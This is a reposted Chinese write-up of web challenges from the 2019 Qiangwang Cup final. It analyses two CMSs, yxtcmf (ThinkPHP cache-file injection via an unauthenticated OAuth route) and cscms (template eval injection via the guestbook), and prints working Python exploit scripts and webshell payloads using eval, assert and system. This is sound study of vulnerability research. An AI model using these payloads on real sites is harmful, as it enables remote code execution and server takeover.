实战：2019 强网杯 final Web Writeup

转载

systemino 于 2019-06-17 21:03:48 发布 740 收藏

前言

强网杯线下赛打的非常happy也非常累，感觉这种赛制非常有意思，早就厌倦了web的AD，这种cms的0/1day的挖掘非常带劲，就是和0ctf连着打，感觉命都没了。

线下赛共有3道web，分别是1道框架0/1day，2道cms前台getshell的0/1day，但是Laravel框架由于可以搜到相关CVE，于是本篇文章不再编写，只分析另外2个cms。

yxtcmf

信息搜集

拿到这道题时，我先去搜集了相关信息，可以发现该cms是一个以thinkphp+bootstrap为框架进行开。可以理解为在thinkcmf上进行的二次开发。同时了解到是thinkphp3.2.3:

```
const THINK_VERSION     =   '3.2.3';
```

同时题目文档描述，告知我们：

```
已经删除可用的install ， admin，UpdateController.class.php和SettingController.class.php文件夹和文件，相关思路请不要尝试所以不难发现，给我们的cms，已经没有后台了，所以只能前台getshell（
```

那么这里我也不赘述自己踩坑的环境了，直奔主题。PHP大马

thinkphp缓存机制问题

既然知道cms开发框架为thinkphp 3，那么势必会去搜集相关框架漏洞信息(因为yxtcmf搜到东西太少了)，除去搜到的一些注入问题，最能直接getshell的便是cache缓存机制的问题。

在如下文章：

```
https://paper.seebug.org/374/
```

可以发现如果我们可以利用缓存机制，并计算出缓存文件名，控制缓存内容，即可getshell。

cache文件名

这里我们跟进yxtcmf的源代码，来到相关文件:

```
yxtedu/Core/Library/Think/Cache/Driver/File.class.php
```

可以发现cache文件的命名规则如下：

```
private function filename($name) {
        $name=md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 使用子目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i++) {
                $dir.=$name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename=$dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename=$this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }
```

我们关注到相关信息：

```
$name=md5(C('DATA_CACHE_KEY').$name);
```

跟进变量DATA_CACHE_KEY:

不难发现，该值为空，故此cache文件名为固定值，我们可在本地运行代码，拿到cache文件名。

cache文件内容

知道了cache文件名，那么如何控制cache的文件内容呢？

在开发手册中提及，我们可以使用S()进行缓存：奇热影视

我们跟进S()函数，发现最后会进入set方法：

我们继续跟进set方法：

不难发现文件内容的写入操作。注意到写入时候，会默认在最前面加上注释符\\，所以我们可以用换行符bypass，例如：

```
\nvar_dump($_GET[a]);
```

即可bypass注释符。

既然知道通过S函数可以控制cache文件内容，那么就需要找如何触发该函数。

我们全局搜索S(，可以发现如下路径中，sp_set_dynamic_config有调用：

```
application/Common/Common/function.php
```

我们关注变量$configs，发现其会与传入的$data进行array_merge，所以可认为写入内容可控。

cache写入路由

故此我们可以全局搜索函数sp_set_dynamic_config，查找调用处：

我们可以发现大量路由有相关调用，但是否真的可以使用呢？答案是否定的，由于该cms删除了后台，以至于所有需要后台登录的路由均无法使用，一旦调用，则会触发后台文件入口里的：

```
header("Location: ../index.php?g=admin&m=public&a=login".$upw );
```

进行重定向跳转，所以我们必须要找无需后台登入的路由，以达到我们的目的。

这里我寻找的方式比较简单，只要找到没有继承AdminbaseController类的即可。

那么不难发现，在如下文件中，我们可以利用：

```
application/Api/Controller/OauthController.class.php
```

关注到其调用函数处：

```
function injectionAuthocode(){
        $postdata=I('post.');
        $configs["authoCode"]=$postdata['authoCode'];
        sp_set_dynamic_config($configs);
    }
```

发现我们可以直接通过post传参控制$postdata的值，并利用sp_set_dynamic_config写入缓存文件。

exp编写

那么整个利用方式就非常清晰了：

1.使用如下路由，POST发送恶意数据：

```
index.php?g=api&m=oauth&a=injectionAuthocode
```

2.由于injectionAuthocode方法调用了sp_set_dynamic_config方法，而sp_set_dynamic_config调用了S()，导致我们的恶意数据被写入cache。

3.访问cache文件getshell。

exp如下：

```
import requests
import urllib
host='http://192.168.43.85/'
url=host+'index.php?g=api&m=oauth&a=injectionAuthocode'
data = {
 'authoCode':'\nvar_dump($_GET[a]); @eval($_GET[a]);#'
}
r = requests.post(url=url,data=data)
url = host+'data/runtime/Temp/ed182ead0631e95e68e008bc1d3af012.php'
data = {
  'a':"system(\"ls\");"
}
r = requests.post(url=url,params=data)
print r.content
```

cscms

信息搜集

拿到该题后，我第一时间与github上的版本进行了diff，发现如下信息:

给我们的版本是4.1.75，时间为20170715，而github版本为4.1.8，时间为20170825。

而在cscms官方网站中给出过相关补丁信息：

于是我迅速的将目光锁定在了模板注入上，但很遗憾，官网的补丁下载下来的内容为空，我查询相关漏洞描述也一无所获，于是决定自己手动挖掘。

漏洞点发掘

首先全局搜索危险函数，例如eval、system、assert等，不难发现如下位置：

```
upload/cscms/app/models/Csskins.php
```

其中存在如下函数:

```
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
return $str;
    }
```

我们注意到这里有明显的eval函数调用，那么我们查阅什么位置使用了该函数：

发现在upload/cscms/app/models/Csskins.php中template_parse函数调用了cscms_php函数，而template_parse正是模板解析函数，与我们的信息搜集部分照相呼应。

模板解析函数

那么该函数如何解析php语句呢？

我们注意到相关操作:

```
preg_match_all('/{cscmsphp}([\s\S]+?){\/cscmsphp}/',$str,$php_arr);
if(!empty($php_arr[0])){
for($i=0;$i<count($php_arr[0]);$i++){
    $str=$this->cscms_php($php_arr[0][$i],$php_arr[1][$i],$str);
}
}
unset($php_arr);
```

发现解析时会进行正则匹配，取出如下部分：

```
/{cscmsphp}([\s\S]+?){\/cscmsphp}/
```

我们可以使用类似于：

```
{cscmsphp}phpinfo();{/cscmsphp}
```

来执行命令。

模板渲染路由

既然找到了相关执行php语句的函数，那么只差一个调用该函数的路由了。依旧是全局搜索：

可以发现在留言板功能中有所调用，而调用位置我们看到，在gbook_list方法中：

其会从数据库中取出留言，然后进行渲染，那么如果想要触发模板渲染攻击，势必需要在留言插入时，就写入恶意数据，我们查看留言写入路由：

即调用add即可写入数据，插入数据库。

同时经过本地测试发现：

单引号会被转义，但我们的shell无需单引号：

并且在访问index.php/gbook/lists/1时，会触发相关代码：

exp编写

故此整个流程变得非常容易：

首先访问路由：

```
http://192.168.43.85/upload/index.php/gbook
```

进行留言，留言内容为：

```
{cscmsphp}assert($_GET[sky]);{/cscmsphp}
```

然后运行脚本，可进行RCE：

```
import requests
import urllib
host='http://192.168.43.85/'
url=host+'upload/index.php/gbook/lists/1'
data = {
 'sky':r"system('ls');"
}
r = requests.get(url=url,params=data)
print r.content
```

后记

总体来说，这样的竞技模式更加有趣，更贴近真实情况，可以让参赛人员在比赛过程中提高对cms漏洞挖掘能力。